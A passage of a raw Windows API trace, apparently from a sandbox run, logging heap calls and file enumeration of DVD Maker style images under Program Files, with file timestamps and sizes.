BaseAddress=0xfb8840) returned 1 [0066.644] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0066.644] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0066.644] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0066.644] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc1768 [0066.645] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc0078 [0066.645] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0066.645] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb911bc, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb911bc, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0066.645] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0066.645] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0066.645] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0066.645] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0066.645] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0066.645] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc1788 [0066.645] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc0180 [0066.645] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0066.645] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb911bc, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb911bc, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0066.645] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0066.645] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0066.645] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0066.645] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0066.645] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0066.645] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc17a8 [0066.645] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc0288 [0066.645] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0066.645] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fbb7319, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fbb7319, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0066.645] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0066.645] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0066.645] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0066.645] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0066.645] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0066.646] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc17c8 [0066.646] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc0390 [0066.646] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0066.646] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb6b05f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb6b05f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="title_stripe.png", cAlternateFileName="")) returned 1 [0066.646] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0066.646] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0066.646] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0066.646] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0066.646] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0066.646] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc17e8 [0066.646] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc0498 [0066.646] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0066.646] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb6b05f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb6b05f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="title_stripe.png", cAlternateFileName="")) returned 0 [0066.646] GetLastError () returned 0x12 [0066.646] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d120 [0066.646] FindClose (in: hFindFile=0x60d260 | out: hFindFile=0x60d260) returned 1 [0066.646] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fd11ff, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa787f65, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa108fe2a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.646] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6faf8c48, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6faf8c48, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0066.646] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb1eda5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb1eda5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0066.646] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fad2aeb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fad2aeb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x43e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="colorcycle.png", cAlternateFileName="")) returned 1 [0066.646] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb44f02, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb44f02, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb57, dwReserved0=0x0, dwReserved1=0x0, cFileName="huemainsubpicture2.png", cAlternateFileName="")) returned 1 [0066.646] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fc29730, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fc29730, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0066.646] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fbdd476, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fbdd476, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0066.647] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fbdd476, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fbdd476, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0066.647] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb911bc, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb911bc, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0066.647] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb911bc, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb911bc, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0066.647] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fbb7319, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fbb7319, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0066.647] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb6b05f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb6b05f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="title_stripe.png", cAlternateFileName="")) returned 1 [0066.647] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb6b05f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb6b05f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="title_stripe.png", cAlternateFileName="")) returned 0 [0066.647] GetLastError () returned 0x12 [0066.647] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.647] FindClose (in: hFindFile=0x60d120 | out: hFindFile=0x60d120) returned 1 [0066.647] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfbaf30) returned 1 [0066.647] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0066.648] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa19a729d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a3fc59, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LayeredTitles", cAlternateFileName="")) returned 1 [0066.648] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0066.648] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa19a729d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a3fc59, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0066.648] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x148 [0066.648] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0066.648] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfc2998 [0066.648] DeviceIoControl (in: hDevice=0x148, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfc2998, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xfc2998, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0066.648] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfc2998) returned 1 [0066.648] NtClose (Handle=0x148) returned 0x0 [0066.648] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0066.648] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0066.648] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.648] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0066.649] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d120 [0066.688] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa19a729d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a3fc59, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.688] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70bee7b2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70bee7b2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0066.688] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb86a8 [0066.688] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb86a8) returned 1 [0066.688] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb86a8 [0066.688] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb86a8) returned 1 [0066.688] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb86a8 [0066.688] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfbaf30 [0066.689] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.689] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc1808 [0066.689] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc05a0 [0066.689] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb86a8) returned 1 [0066.689] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70c60bc9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70c60bc9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1 [0066.689] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb86a8 [0066.689] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb86a8) returned 1 [0066.689] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb86a8 [0066.689] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb86a8) returned 1 [0066.689] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb86a8 [0066.689] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc1828 [0066.689] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc06a8 [0066.689] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70c1490f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70c1490f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x191f, dwReserved0=0x0, dwReserved1=0x0, cFileName="blackbars60.png", cAlternateFileName="")) returned 1 [0066.689] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb86a8 [0066.689] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70abdcca, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70abdcca, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5fed, dwReserved0=0x0, dwReserved1=0x0, cFileName="layers.png", cAlternateFileName="")) returned 1 [0066.689] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb86a8 [0066.689] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ba24f8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ba24f8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0066.689] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb86a8 [0066.689] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70b5623e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70b5623e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0066.689] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb86a8 [0066.689] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ba24f8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ba24f8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0066.689] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb86a8 [0066.689] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70b300e1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70b300e1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0066.689] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb86a8 [0066.689] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ae3e27, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ae3e27, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0066.690] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb86a8 [0066.690] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70b5623e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70b5623e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, 